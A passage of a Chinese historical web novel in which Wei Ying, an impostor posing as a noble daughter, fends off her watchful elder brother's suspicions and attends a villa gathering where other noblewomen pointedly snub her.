卫珩从周易和毛诗中各抽了一段要她背诵和阐发,又问难一番,卫婴记东西极快,悟性也高,虽未在学业上下死力,也能应付过去。 卫珩道:“可以开始读《春秋左氏传》。” 卫婴道是。 卫珩又问:“可曾勤习书道?” 卫婴有些心虚,书道不比其他,可以仗着强记和捷才应付过去,无论你有多少小聪明,手上的功夫只有靠勤学苦练。 卫婴知道此事不可投机取巧,平日也不敢怠惰,奈何最近忙着绣祖母的生辰礼表孝心,难免疏于练习。 而且卫氏与张氏分别是南渡和三吴士族中的书道名门,书体书风却大相径庭,张老夫人虽嫁入卫家,私心里自是偏向江东书风书体的。 卫婴投其所好,便兼习卫氏与张氏两家书体,用心越发分散。 她低头道:“每日都练的。” 卫珩道:“写几个字,看看有无进益。” 说着向龙尾砚中注了两滴清水,拈起墨条,抵住砚台发力均匀地研起墨来。 那墨发色快而浓,很快便油亮浓稠,一股松枝与冰片的香气弥漫开来。 卫珩放下墨块,抽出一张习字用的佐伯纸,起身将坐榻让给卫婴,不经意地拿起案边当作镇纸用的青玉尺。 一跪一站,两人的身形更显悬殊,卫婴整个人笼罩在卫珩的影子里,长兄不发一言,只闻沉缓均匀的呼吸的声音。 卫婴心里越发没底,不由 自主绷紧了脊背。 “阿兄要我写何字?”卫婴问。 卫珩用玉尺缓缓敲击掌心,“啪”,“啪”,每敲一下,卫婴心尖便是一颤。 不疾不徐地敲了十来下,卫珩方开口:“便写《急就章》罢。” 卫婴一听《急就章》,心里又是一凛。 她一个百戏倡优,自然是不能识文断字的,南下途中与她共谋的嬷嬷教会了她识字,但一笔字难以速成,嬷嬷教她装作伤了手隐瞒,她却知道假的隐瞒不过,当机立断用木棍将自己的右手生生打折了,养了半年只说手疼,暗自躲在房中抓紧习字。 然而嬷嬷毕竟只是个大家婢仆,纵使能识文断字,又有多少见识?她偷偷替她寻摸来的书帖,是书肆不知名抄书匠人写就的《急就章》,写得俗不可耐。 幸而她很快便在与长兄的比较中揣摩出了些门道,连忙将那卷书帖偷偷烧了。 《急就章》是蒙童学识字用的,要她写字,五经里随便取一句来写便可,为何偏偏提这个,是一时想不出来,还是故意的? 卫婴心头突突直跳,身子越发不听使唤,时间一点一滴过去,卫婴无法,只得硬着头皮落下笔。 一个“急”字写得字形松散,骨力孱弱,卫婴自己都不敢看第二眼。 “手不稳。”卫珩在她身后跪坐下来。 卫婴呼吸一紧,只觉身后仿佛有玉山压来,沉檀气息如毯子将她包裹起来,潮热的呼吸似有若无地落在她后脖颈上。 她无法动弹,眼睁睁地看着长兄的大手覆上来。 有一瞬间她以为他要握住她的手,但他只是从她指间抽去笔:“可是旧伤又发作了?” 卫婴揉了揉手腕:“是有一些……” “那今日便不写了。”卫珩将笔搁在一旁。 卫婴如释重负,却不敢立即起身,仿佛她身后的不是长兄,而是伺机而动的凶兽,只要她一动就要伸出利爪按住她。 僵持良久,卫珩终于站起身:“下月起,不必再随朱师学习。” 卫婴暗暗讶异,长兄每次回建康都会询问她的功课,但从未提出要换师傅,莫非是因她的字不堪入目? 她做出愧疚之色:“非是朱师之过,是阿婴惫懒了。” 卫珩道:“朱师学识开蒙足矣,再深入便力有不逮。且其书风承自张氏,与我卫氏大异其趣,练多了难免受其影响。” 他未再说下去,卫婴背上已渗出冷汗。 方才写字时她用的是卫氏书体,竭力隐藏张氏书风的痕迹,谁知他眼光如此之毒,竟一下子就看出来了。 那番话怕是在敲打她。 她佯装不觉:“阿婴未曾窥得书道门径,只胡乱学着罢了,听阿兄教诲方知自己误入歧途了。阿兄可是要另觅良师?” 卫珩道:“良师难觅,在寻到合适之人前,我可亲自教你。” 卫婴胃里仿佛被人塞了块冰,忙道:“阿兄方回建康,想必有许多正事要忙,阿婴岂敢劳烦阿兄。” 卫珩道:“这些年我长居会稽,身为兄长而不能教导幼妹,是我之过。” 卫婴隐隐怀疑他意有所指,是在旁敲侧击王诚的事,只作听不出来:“阿兄言重,是阿婴不懂事,教阿兄挂心。” 两人客套了一番,好在卫珩未再提习字之事,便不了了之。 卫婴试探着道:“阿兄舟车劳顿,想必也乏了,阿婴便不叨扰了。” 卫珩“嗯”了一声:“你去罢。” 卫婴如蒙大赦,恨不得插上翅膀飞出去,又不敢显得太急切,缓缓起身施礼。 卫珩唤来奴仆:“将未动过的果子送去女郎院中。” 向卫婴道:“待身子大好再食,不可贪多。” 卫婴甜甜应是,便即出了书斋。 卫珩隔帘看着朦胧人影走远,看向琉璃盘里剩下的桃瓣,仍然插在刀尖上,色泽已有些变了,仿佛糜烂了一般。 他拿起刀,细细端详一会儿瓣尖上依稀的齿痕。 甜蜜、过熟、糜烂的芬芳荡漾着,仿佛无数无形勾缠的手指。 不知不觉桃瓣凑近唇畔,若即若离地轻点了一下。 他回过神来,将刀放回盘子里。 那一点点蜜汁却仿佛残留在了唇间。 他抿了抿,的确很甜。 4.隐疾 走出长兄的书斋,卫婴悄悄长出一口气。 院子里有个小僮正手擎长杆粘知了,卫婴不觉抬头看,方觉天高地广,枝叶碧绿,连聒噪的蝉声都悦耳动人,仿佛在恭喜她又渡过一劫。 脚步不自觉轻盈起来,她提着裙裾快步穿过葱茏草木,方走到院门口,冷不丁撞见一个人。 来人一身衡门布衣,头戴葛巾,足蹬旧木屐,手中提着个藤笥,慢悠悠地走着,一副陶然自得的模样。 看见卫婴,他双眼倏地一亮,停住脚步,仔细打量她一番,欣然睁大眼:“你是阿婴?你可还认得我?” 卫婴含笑施礼:“怎会不认得,荀世兄有礼。” 她非但认得他,对他的人品、家世、资财、族中人情关系了如指掌。 因他也曾是她夫婿人选之一。 只不过她早早便将他的名字从心中的计簿里划去了。 一来荀家与卫家是通家之好,他是卫珩好友兼师弟,从小来卫氏族学蹭课,整日追在卫珩身后跑。 五年前卫珩因病拜高僧智藏为师,在会稽山青岩寺养病,他在家里一哭二闹三上吊,吵着也要去修行,家里长辈拗不过他,当真由他去了。 若是嫁给他,婚后也难免要与长兄常来常往——此为一弊。 二来他拜了智藏和尚为徒后,既未学会佛理,也未学会清谈,倒是发掘出过人的岐黄天赋,吵着闹着要悬壶济世,家中长辈又拗不过他,只得替他买下建康城最大的药材铺子,让他可以在自家医馆中坐堂。 行医半年,他不知收治了多少出不起钱的贫苦人,一文钱没趁着,反将荀家库中的药材倒赔了许多进去。 名士可以放诞不羁,可以服散狂饮,可以袒胸露体奔走,但开医馆救济穷人实在惊世骇俗——此为二弊。 论为人,卫婴由衷钦佩,但为夫婿,她敬谢不敏,她可不想做世家夫人女郎间的笑柄。 卫婴心里盘算的时候,荀九郎还在直愣愣地盯着她瞧。 若换个人,如此甚是失礼,可他眼神诚如赤子,毫无冒犯之意,只有坦荡的欣赏。 卫婴便也不在意,与他寒暄:“令尊令堂可安好?久未拜会,十分想念。” 荀九郎这才回过神来:“都好,都好……对了,我是来替叔玉施针的。” 他拍了拍医箱:“他可在?” “家兄在书斋里,”卫婴迟疑了一下,佯装担忧,“家兄有何不适?可是沉疴又发作了?” “不不,”荀九郎眼神躲闪,“阿婴妹妹莫要担忧,叔玉无疾,只是扎几针强身健体罢了。” 卫婴心里叹气,借口也不知编像一点,多傻才会信这鬼话啊! “那便好。”她轻按心口,如释重负地弯起眉眼,又寒暄了几句,方才行礼道失陪,出了卫珩的院子。 …… 荀九郎望着少女翩跹的裙角看了半晌,方才回过神来,拍了拍脑门,快步穿过庭院。 到得门前,他也不让奴仆通禀,径自掀开竹帘进了书斋:“叔玉,叔玉,你猜我方才碰见谁了?” 案前执笔之人撩起眼皮,漆黑眼珠犹如在冰鉴里镇过,仿佛散发着寒意。 荀九郎后背一凛,不自觉地避开,待回过神来仔细看时,又疑心是错觉,好友分明是平日模样,虽疏淡,却温文。 方才是看错眼吧?只是眼珠子生得格外黑罢了……卫叔玉怎会用那样吓人的眼神看人,简直像鬼上身似的。 卫叔玉自小便是如玉君子,小时候父母因卫家学风谨严,将他送来卫氏族学,别的孩子都嫌他愣,不愿理他,只有卫叔玉同他说话,带他去洗笔池,虽相识多年一直是淡淡的,也是天生性情如此。 荀九郎缓了缓,想起方才的话头:“我方才见到阿婴妹妹了,没想到一两年未见,已长成亭亭玉立的女郎了……” “知道,”卫珩淡声,“她方从我这里出去。” 说罢将目光收回,重新投向写了一半的帛书。 荀九郎略通人性但有限,隐隐感到好友今日心绪不佳,有心讨好,凑上前去伸头看他运笔:“这是在写什……急就章?怎的写起开蒙书帖了?是替家中哪个子侄写的?” “给舍妹习书用。”卫珩写到一半搁下笔,将书卷随意拢了拢,投入装废纸的藤筐里。 荀九郎“嘶”了一声:“好好的书帖怎么就扔了?” “写坏了,”卫珩轻描淡写,“处默今日所来为何?” 荀九郎将医箱搁在案上:“这不是一听说叔玉你昨夜回建康,一早就来替你诊脉。” 卫珩眉头微微一动,挽起衣袖伸出手:“有劳。” 荀九郎凝神诊脉,刚搭上他脉搏,便是一愕:“这回怎的发作得这么凶,你昨夜就该遣人来找我!你也通医理,知道你这病症若置之不理,是要出大事的!” 卫珩神色如常:“无碍。” 荀九郎不敢掉以轻心,忙打开医笥,取出一副金针,点起油灯用火烫过、擦净,便娴熟地替卫珩施针,一边捻着针,忍不住咕哝:“也真是奇事,你在会稽时还好好的,怎的每次一回建康就发作……” “许是水土不服。” 荀九郎“哈”地笑了一声,差点没把针扎歪:“莫非这建康城的风水里还掺了药,成了淫风邪水不成……哈哈……” 卫珩并未同他一起笑,荀九郎有些自讨没趣,笑声渐干,清了清嗓子:“叔玉,你也老大不小了,每回一发作便施针不是长久之策。” 对着清风皎月一般的人,下面的话实在难以启齿,但荀九郎身为医者不能讳言,硬着头皮说:“似你这般阴虚阳亢的体质,不如早日娶妻,当能弥补阴液,缓和阳火,免得日日煎熬。” “多谢处默劝告,”卫珩脸色如常,彬彬有礼,“我会考虑。” 荀九郎明白好友只是在敷衍自己,心中暗暗叹息,犹记得当年长辈带他和卫珩去会稽拜师,大和尚见到卫珩,默然合十向他一礼。 他一直大惑不解,有一日终于忍不住问出口,师父只是长叹一声,说此子将来注定要受尽贪、嗔、痴、爱之苦。 师父佛法无边,不过眼神看来不大好。 卫叔玉非但没有长成四毒俱全的男子,简直比寺里的正经和尚还清心寡欲。 若非必须撑起卫氏长房的门庭,他应该继承师父衣钵才是。 这样寒姿霜质一个人,当年偏偏为了疗毒救命,以毒攻毒,致使阳毒深入骨髓,落下了那样的“病根”,真是造化弄人。 针灸毕,荀九郎又将汤药方子改了改——这阳毒遇了建康的风水便要肆虐,一次比一次嚣张,不下点猛药不行。 不免又唠叨两句:“药石终究是治标不治本,你这病症还需阴阳相济,方能谐和……这方子已是加无可加,里面都是大寒之物,服之难免遍体生寒、手脚冰凉。 “另外容我多啰嗦一句,颠棘根、雄鸡脯、乌喙、车前、蛇床等物切不可同服,五石散更是不能沾上一点。” 这些他已叮嘱过不知几遍,卫叔玉也通药理,但身为医者,他还是不厌其烦地每次提醒一遍,尤其建康服散风气大盛,他要长留建康,难免要与那些世族子弟往来酬酢宴饮,他 的体质异于常人,若是不慎沾上这些东西,后果难以设想。 卫珩没有丝毫不耐烦,一一道好。 荀九郎瞄了眼琉璃盘上那数枚红艳艳的蜜桃:“这些生冷之物,还是少食为宜。” “好。”不涉及阴阳调和的时候,卫珩是个谨遵医嘱的好病患。 荀九郎理所当然地向桃子伸手,不等他碰到桃子,卫珩先一步将琉璃盘挪开:“这几枚不新鲜了,稍后我叫人送两筐新鲜的去府上。” 荀九郎看不出这盘桃子哪里不新鲜,但卫叔玉最是慷慨大方,怎会吝惜几枚果子,他说不新鲜准是没错的。有的果子外表光鲜,其实从芯子里烂起,不也是常事? 荀九郎收起金针,不愿即走,有心打听打听卫婴的事,却不见卫珩有留他用膳的意思,便说:“许久未曾与叔玉弈棋,有些手痒了,不知叔玉可否赐教一局?” 卫珩便命僮仆搬了榧木棋枰和玉石棋子来。 荀九郎棋力本就难以望其项背,何况醉翁之意不在酒,很快便丢了一角,装模作样地挠挠腮帮子:“对了,阿婴妹妹是不是也擅弈棋?不知何时有幸与她对弈。” 对面执棋的手一顿,旋即指间的白子“啪”地一声落下,杀了他一条大龙。 卫叔玉的棋风和他为人一样温润持重,何曾这么凶残过! 荀九郎诧异地抬起头,只见对面玉人般清雅的男子微垂眼眸,脸上看不出丝毫异样。 “舍妹已及笄,恐怕多有不便。” 荀九郎不以为然,本朝重自然而轻名教,男女大防没那么森严,何况荀卫通家之好,对弈一局有什么,何况还有亲兄长在场。 不过想到阿婴妹妹巧笑倩兮、顾盼生辉的模样,荀九郎也理解卫叔玉的严防死守,若他有个这样的妹妹,他也一定视如珍宝,生怕引来狂蜂浪蝶的觊觎…… 可他并非狂蜂浪蝶啊! 放眼这乌烟瘴气的建康城,若论正经,卫叔玉排第一,他至少能排第二。 如此一想,他有了些底气,红着脸道:“阿婴妹妹……还未许人家吧?我……” “舍妹还小,不急着出阁。” 方才还说及笄了连世兄都不能见了,眼下又说小了,原来令妹的年纪也能屈能伸。 不过心疼妹妹,想将妹妹多留几年也是有的,荀九郎继续旁敲侧击:“有合适的儿郎,也不妨先订了亲,晚几年再出阁。” “没有合适的。” 荀九郎疑心是自己过于委婉,待要再说两句,一抬眼却对上了卫珩的眼睛,那股心慌气短、后背发冷的感觉再度袭来,他忘了自己要说什么。 对面卫珩开始收棋子,声音仍旧春风般和悦:“承让。” 荀九郎还想说什么,卫珩拿出一纸清单:“劳烦处默替我购置一批药材,二旬之后送到兖州徐峄军中。” 荀九郎并非第一次替他购置药材,运粮运药,赈济流民。 那药铺明面上是他家的,其实有一大半是卫珩出资,不然他家里也不会轻易松口。卫珩数年前便与京口一带的几个流民帅有私下往来。 徐峄却对门阀世族成见颇深,对卫珩也是不假辞色。 “难得叔玉不计前嫌。” 不过扫了一眼药单,他却皱起了眉头:“徐峄军中有疫病?” 卫珩颔首:“前日送来的消息。” 荀九郎估算了一下:“大部分药材库房中都有,三日内便可办齐,快船运往京口,不出旬日便可送抵兖州……” “不必太快,”卫珩将最后一颗棋子收入笥中,“等他求我。” 5.同舟 走出院外,青栀已在门前等候,见了她立即上前来替她打扇。 主仆两人沿着廊庑往后院走,经过三房堂妹卫珠的院子外,忽听墙内传来哭声。 这等事见怪不怪。 多半是三叔母在夫君或儿子那里受了气,在拿婢女撒气呢。 只是三房刚得了喜讯,三叔母正值春风得意的时候,怎么又发落下人? 青栀猫着腰蹑手蹑脚走到墙根,将耳朵贴在墙壁上。 卫婴哭笑不得,但也不免好奇,便由她去了。 青栀听了一会儿,又蹑手蹑脚地跑回来:“是三夫人在发作四娘子房里的络秀呢!” “闹得这样凶,又是为了什么?”卫婴一边走一边随口问。 青栀压低声音:“奴婢只听三夫人骂她狐狸成精,引诱主人,带坏了四郎君。” 卫婴讥嘲地勾了勾嘴角。哪个世族大姓都有几个败家子,卫家这一代的名额便是四堂兄占了。 他父亲自诩名士,他便自诩小名士,成天嚷嚷着“名教岂为吾辈而设”,与其他败家子沆瀣一气,服散狂饮、博戏宿娼,无所不为。 三夫人断他财源,他便偷家中的财物去卖。 这样的人还需一个婢女带坏?卫婴真是叹为观止。 青栀有些幸灾乐祸:“那络秀仗着自己生得有几分颜色,成天看不起这个瞧不上那个,拿鼻孔看人,上回在小厨房抢女郎的贡品荔枝,还将钗朵推得跌了一跤,不就欺负我们院子里只有女郎一个人么!我就知道她不是个省油的灯,果然想攀高枝当姨娘呢!” 卫婴无奈:“她一个婢女,多半是身不由己。” 但凡长了眼睛,也不会去攀四堂兄那棵歪脖子树。再说想攀高枝也不是什么错,只是想日子好过些罢了。 青栀听她如此一说,也有些物伤其类:“女郎说的是,我们这样的人是半点不由身。奴婢定是前世修功德,遇上女郎这样的好主人。阿弥陀佛。” 卫婴笑着摇摇头,两人便将此事揭过不提。 可怜是可怜,但她不能将手伸进三房的后院里去拉她一把,这可怜便一文不值。 回房中换了身衣裳,卫婴坐到窗前,拈针开始替张老夫人绣经卷,离祖母生辰不到十日,她这寿礼还差了几行字。 青栀心疼她这么热的天还要做女红,忿忿不平:“老夫人心眼都偏到胳肢窝里了,都是自家孙女,却将女郎的良缘给了四娘子,也就是女郎纯孝。要奴婢说,女郎何必费这功夫,自己刺两针,剩下的不如交给奴婢们来做。” 卫婴大度地笑了笑:“王郎君与四妹妹定了亲,便是四妹妹的良缘。再说祖母偏疼谁是祖母的事,身为儿孙,尽自己一份心便是。” 婚事没了,寿礼却还是要大张旗鼓地在寿宴上送出去。 东家不亮西家亮,跑了一个王家,筵席上还有许多别家夫人,其中说不定就有她未来的婆母,她得好好将孝顺的名声传扬出去。 再说这算什么苦,她做点绣活,身边有好几个婢女围着伺候,一个对着冰鉴扇凉风,一个替她轻轻打扇,一个专门穿针递绣线,一个候在一旁专门端茶倒水,一个每隔一会儿便替她捏肩捶背,还有一个青栀,剥好冰湃过的荔枝送到她嘴里。 青栀却由衷叹服:“女郎襟怀宽广,是那王五郎没福。” 卫婴用指尖戳了戳她鼓鼓的腮帮子:“好啦,青栀姊姊莫再气了,都快气成河豚了。” 绣了两行,有个小婢女捧着黑漆螺钿托盘,托着几封信笺进来。 卫婴正好有些累了,便停下针,揉揉有些酸胀的眼睛,站起身舒展了一下,走到书案前,就着翠翘的手饮了口梅汤,叫青栀将信拿过来。 她瞥了托盘一眼,奇道:“怎的今日这么少,都取来了么?” 身为卫氏女郎,与其他高门世族女郎的日常酬酢也必不可少,每日都有各种信笺送到府上,有联络感情的日常问候,有宴请柬帖,有赴宴后的答谢,日常都有厚厚一沓,今日却一反常态只有三四封。 小婢女答:“奴婢也觉奇怪,平日总有十来封,少时也有七八封,问了阍人,他说没弄错,今日的的确确就这些。” “好,我明白了,”卫婴从盘子里拿了一挂荔枝给她,“拿去吃罢。” 小婢女眼睛登时亮了:“谢女郎赏。” 卫婴捺下心里一点不安,吩咐青栀拆信。 青栀照例先挑出谢氏女郎的信拆了递给卫婴。 谢昙的书信向来文采斐然、妙语连珠,她这几日随胞兄去东阳郡巡庄,说是巡庄,实则大抵是游山玩水。 信中她将一路上的见闻写得绘声绘色,说起自己那不着调的兄长来也毫不留情,卫婴好几回忍不住笑出声来,读了两遍,不免有些羡慕,未出阁的世家女子若要远游,只有跟着父兄——她是不必想了。 而成婚后的机会就更少了,即便夫君外任,正妻多半也要留在京中主持中馈、侍奉舅姑。 不过她只一瞬便清醒过来,人不能太贪心,如今这衣锦馔玉、仆从如云的日子,是她从前做梦也不敢想的。从前在百戏班里倒是长安、洛阳地到处跑,可餐风饮露、冻苦饥馁,动辄槌楚加身,又有什么自在可言? 青栀将下一封信递给她:“是王家六娘子送来的,当是上回赴宴后的答谢帖。” 她正要拆,卫婴瞥了一眼,阻止她:“慢着,先给我。” 青栀不解地递给她,卫婴接过摸了摸,她与王六娘并无深交,这种答谢帖通常不会太长,这信笺未免也太厚了。 她仔细摸了摸,里面还有一小块硬物,似是玉佩之类的物件。 卫婴将信递还给青栀:“叫人原封不动送去王家。” 青栀此时也明白过来,脸色遽变:“难道是王五郎……” 卫婴点点头:“多半是。” “这人好生荒唐!”青栀义愤填膺,“不能说动父母上门提亲,却来纠缠女郎!竟然还冒用姊妹之名,要不是女郎谨慎,到时候怎么说得清!” 卫婴叹了口气:“无妨,将信原样退回去便是。” “是退回给王六娘么?” 卫婴想了想:“直接送到他母亲杨夫人手上。明日要去王家青溪别墅,让杨夫人提前管束一下儿子也好。” “明日女郎还要去么?”青栀不安。 王家一年前开始修葺青溪别墅,最近刚完工,自然要大开筵席,宴请亲朋好友,前几日是王家长孙宴请同辈友人,明日则是女郎们的集会。 卫婴前几日收了王家同辈长女的请柬,请她与堂姊妹几个去游玩,顺便小住两日,她已答复会去了。 青栀担心女郎尴尬:“不如就推说身体不适,别去了。” 王五郎对女郎的心意毫不避讳,在高门子弟间尽人皆知,她担心主人这时候去王家会尴尬。 “已经答应好的,自然要去,”卫婴毫不犹豫,“听说王侍郎耗资钜万从东山移栽了两株千年古樟来,我正想去看看呢。” 这样的宴会提前数月便开始筹备,也一早就告知宾客,以便留出程期,眼下只是正式下柬帖罢了。 她若是找借口躲避,当日“卫三娘受尽情伤闭门不出”、“卫氏姊妹争夫失和”之类的流言就要传遍建康城,到最后赔上卫氏女的名声,倒抬了王氏子的身价。 她非但要去,还要坦坦荡荡、光彩照人地去。 青栀这时也想明白了,暗暗下定决心,到时候一定替女郎好好妆扮一番,叫那些有眼无珠的王家人懊悔去吧! 小婢女摩拳擦掌、斗志昂扬,卫婴的心思却已转到了别处。 长兄到底有什么病?看荀九郎那心虚的模样,莫非是什么难言之隐? 卫珩当年是因为重病才去会稽求医的,如今看着是好了,说不定内里落下了病灶,亏空了根本。 她不觉看向冰鉴旁卫珩派人送来的那篮蜜桃,若是从芯子里烂起,外头一时半会儿也看不出来吧? 卫婴心里仿佛有一簇火苗燃起——既如此,卫珩会不会英年早逝? 不,她立刻打消此念。 若是卫珩死了,虽然她从此不必担惊受怕,但她的倚仗也就没了。 富贵险中求,还是请长兄长长久久活着,坐致公卿、位极人臣吧! …… 翌日清晨,卫婴醒来便听说青栀昨夜染了风寒,半夜发起热来。 卫婴忙问前来禀报的婢女琥珀:“烧得厉害么?可曾延医请药?” 琥珀回道:“青栀姊姊方才服了药发汗,眼下好些了,只是唯恐过给女郎,今日不能随行,请女郎恕罪。” “什么时候了还操心这些!风寒可大可小,还是请个大夫来看看,”卫婴吩咐,“你就留下照应你青栀姊姊,若到明日早晨不见好,立刻拿我的名刺去寻宋御医,切不可耽搁。叫她只安心养病,其余事不必操心。” “阖家上下,也只有女郎会这样关心下人了。”琥珀很是动容。 卫婴浅笑:“你们待我尽心,我自当以诚相待。” 她关心青栀自有多年主仆情谊在,但也是做给其他婢仆看的。 华族世家出身之人常常看不见下人,便如张老夫人,以为她派来的人理当对她忠心,却不知是人都有心,人心都是须邀买的。 如今这院子里,有一大半都成了她的亲信,要防着的只有那几人了。 青栀不在,自有别的婢女来伺候。卫婴梳妆毕,便去向祖母请安辞行。 她生怕又在祖母院中遇见长兄,特地比平日提前了两刻钟出门。 卫珩果然不在。 她松了一口气,与张老夫人虚情假意地寒暄了一会儿,便道要回去收拾行囊,起身告辞。 谁知刚从祖母院子里出来,便见廊庑上一道熟悉的身影。 芝兰玉树的男人缓步向她走来,挡住了她的去路:“阿婴今日来得早。” 卫婴只能佯装欢喜,硬着头皮迎上去:“阿兄也很早,今日可是要出府?” 卫珩颔首:“去蒋山本业寺,明日有清谈雅集,阿婴呢?” “王家姊姊请我们姊妹几个去青溪别墅小住两日。” 卫珩略一沉吟:“本业寺去青溪别墅不远,我也有阵子不曾去向诸葛老夫人问安了,今日正好顺道拜访,阿婴可与我同行。” 王家别墅在建康城东的青溪畔,靠近蒋山山麓,从卫府所在的长干里出发,先要坐犊车穿过大半个建康城,到青溪桥畔换船,舟行数十里到王家的私渡,舟车加起来小半日。 一想到小半日都要与长兄在一起,尤其是在茫茫水面上与他共处一舟,全程要打起十二分精神应付,她便已头皮发麻。 “多谢阿兄好意,”她竭力让自己显得真心遗憾,“只是前日已与二姊姊、六妹妹约好同舟,临出发时再变卦恐怕六妹妹会哭的。” 卫珩闻言也不在意:“既已约好,那便罢了。” 卫婴将心放回肚子里,兴许他只是客套一句而已。 两人擦肩而过时,卫珩忽然停住脚步,转头看向她:“阿婴。” 卫婴心头一突,甜甜一笑:“阿兄还有什么吩咐?” 卫珩转过身面向她,高大的身形将她整个罩在阴影里,挡住了后面僮仆的视线,似乎连树丛间雀鸟的鸣叫也隔住了。 “你怕我?” “怎么会,”她竭力牵动嘴角,“阿兄是我血脉至亲,阿婴怎会怕。” 卫珩一瞬不瞬看着她的眼睛,仿佛要穿透重重伪装,看进她心底去:“你撒谎了。” 和悦的声音落在卫婴耳朵里犹如惊雷。 她仿佛又置身多年前的狂风巨浪中,行将溺水般恐慌,忍不住想抓住点什么。 不知僵持多久,卫珩轻轻叹了口气:“我一直在想,是不是阿兄做错了什么事,或者令你误会了。” 卫婴好不容易找回神智,结了冰的舌头终于能转了:“阿兄莫要多心,你待我这么好,阿婴只有感激不尽……只是许久未见阿兄,难免有些生疏。好在阿兄如今回建康了,我们兄妹有的是亲近的机会。” 卫珩的目光在她脸上缓缓移动,似乎在她眼角眉梢间寻找虚假的痕迹。 卫婴只觉有条阴冷的小蛇在她脸上爬动,她一动也不敢动,只仰着脸甜甜微笑,仿佛她是天底下最仰慕依赖兄长的妹妹,仿佛生来最喜欢爬到橦木顶上,将肢体扭曲成各种奇怪形状,取悦那些富贵看客。 一点也不疼,一点也不害怕,就算下一刻就要从高处跌下来,跌得头破血流粉身碎骨,这一刻也要拼尽全力去笑。 长兄凉薄漂亮的眼睛盯着她,仿佛只要找出一丝破绽,便要撬开她的外壳,刺进她柔软的内里。 忽然一阵风吹来,檐角金铃突兀地响了两声,像是有个无形的琉璃罩碎了。 “看来是我多心了。”卫珩几不可察地弯了弯眼角。 待卫婴回过神来,他已错身而过,直到此时,她方才发觉自己双脚仿佛踩在绵絮上,手心里全是冷汗。 她强打起精神,挺直脊背,步履从容地向外走去。 “阿婴,”背后传来长兄温和清越的声音,“起风了,水上浪急,多加小心。” 卫婴深吸了一口气,转过身,向他乖巧地一笑:“阿兄也是,山中夜里清寒,记得添衣。” 6.冷遇 好的不灵坏的灵,真叫卫珩说中了。 卫府的犊车方驶出府门,天边闷雷滚动,等他们到得青溪桥边,一阵急雨便淋了下来。 虽有婢女打伞,但岸边雨疾风骤,吹得纸伞飘摇,卫婴的衣裙还是沾湿了一大片,翠翘费心梳的灵蛇髻也吹散了。 好不容易上了船,婢女们还未来得及将箱笼妆奁归置好、替卫婴更衣匀妆,船身便摇晃起来。 南人习于舟行,即便在颠簸的船上也能如履平地,但卫婴不同。她自小生长在北地,有生以来第一次坐船便是被人牙子贩卖到江左时,那回的遭遇叫她毕生难忘,从此留下了畏水的心病。 因此她平日总是尽量坐犊车出行,即便不得已要坐船远行,家中也会安排能容数十人的大舫。 其他几房起初都对此颇有微词,借着小辈之口向张老夫人抱怨,但老夫人只用一句话便堵了回去——长房是卫珩做主,船资也和卫婴的吃穿用度一般,不走公账。 然而今日王家宴客,渡船也是王家安排的,她只好客随主便。 王家派来的小舫虽也精巧,却只有两个内舱室。船小又偏遇上风高浪急,卫婴便知道今日不能善了。 翠翘与钗朵将舱室内的席簟、褥毯都换成家中带来的,便急忙替卫婴解了外衣扶她躺下。 卫婴晕乎乎地躺在软榻上,枕着青栀一早准备好的药枕,可冰片和橘皮的清香也压不住一阵阵的反胃。 她不禁有些后悔,早知如此倒不如答应卫珩,便可以名正言顺坐自家大舫了。 随即她便叫自己的念头唬了一跳,不,两害相权还是与卫珩同行更难捱一些。 二房的二姊卫玫、七妹卫琳与她同乘一舫,三人本来说好了要在船上玩六博解闷,卫玫遣婢女来问,卫婴自是不能去。 不多时,卫玫便牵了胞妹来探望她。 二姊送了她清新解乏的香囊、香丸,七岁的卫琳还将自己随身带的青玉连环也借给了她。 卫婴心知卫玫频频向她示好,多半是出自二伯母的授意,而二伯母忽然要笼络她,自然是因为卫珩回了建康,她这“亲妹妹”的身价也跟着水涨船高了。 二伯母是聪明人,可惜这回失算了,押注押了个假的,卫珩与她那点稀薄的兄妹之情随时可能烟消云散,不反过来恨死她已是万幸。 不过能与卫玫交好对她却是有百利而无一弊。 二姊已与中书侍郎的长孙定下亲事,下半年就要过门,虽说陆大郎与乃祖相差甚远,但以他的门第与祖荫,将来官位前程未必在二伯父之下。 卫婴躺了一路,船将靠岸时仍是头晕目眩,脚下打飘。 好在雨已停了,夏季骤雨来得快走得也快,经过一场暴雨,澄清的青溪水变得有些浑浊。 卫婴步出船舱,走到甲板上。 今日王家宴客,建康城里的侨姓世家都受了邀请,别墅的私渡泊了好几艘舫船。 她一眼便看见对面舫船上下来几个熟人。 是陈郡袁氏姊妹几人。 其中袁五娘与卫婴年岁相仿,交情不错,在京中的雅集、宴会上常常相谈甚欢。 卫婴见她恰好也望过来,便笑着向她挥了挥手中绢扇。 然而袁五娘却飞快地移开视线,与身旁姊妹说起话来,仿佛没看见她似的。 而她身旁的袁三娘,一边同妹妹说话,一边偷眼望了望她。 卫婴心微微一沉,若只有一个人反常,她还会怀疑自己看花了眼,可姊妹两个都如此,就不能怨她多心了。 果然昨日书信骤减是事出有因的。 究竟是何缘故呢? 难道是因为王诚与卫珠的亲事? 可以她对这些世家女的了解,他们会暗地里看笑话,但绝不会因此明面上冷落疏远她。 卫婴想不明白,心里像是坠了个小秤砣。 “三妹,身子好些了么?”卫玫向她走过来,关切问道。 小豆丁卫琳牵着胞姊的手,也一脸担忧:“三姊姊,你脸色白得吓人!” “已无碍了,多亏二姊的香囊,嗅着好受多了,”卫婴看着眼巴巴的七娘,笑着摸摸她的头,“自然,七妹妹的九连环也功不可没。” 卫琳高兴起来,嘴上却说:“三姊是在逗我,二姊说晕船的时候解九连环头更疼了。” 卫婴刮刮她的翘鼻子:“头疼了可不就不晕了?” 卫琳嘟起嘴:“三姊骗人,三姊最聪明的,一个九连环才难不倒你!” 拉着她衣袖晃了晃:“三姊与我坐一辆车,车上教我怎么解好不好?” 卫玫忙将妹妹打发走:“三姊身子不舒服呢,你别闹她,去找你六姊玩去。” 卫琳小声咕哝了一句什么,还是跑去找六娘子了。 卫婴想说什么,卫玫挽起她的手:“我叫她闹腾了一路,头都疼了,总算可以清净会儿。三妹妹也在车上小憩一会儿罢,夜里还有筵席。” 上了岸,王家的车已等候在道旁,众人坐上慢悠悠的犊车,一路欣赏着沿途青翠的风景进了别墅地界。 车行小半个时辰,方才在一处清幽的院落前停了下来。 王氏几个姊妹出门相迎,一一叙礼。 见了卫婴,王家长女倒是神色如常,落落大方地与他们姊妹几人叙寒温,几个小的城府稍浅,眼角眉梢便带出些异样来。 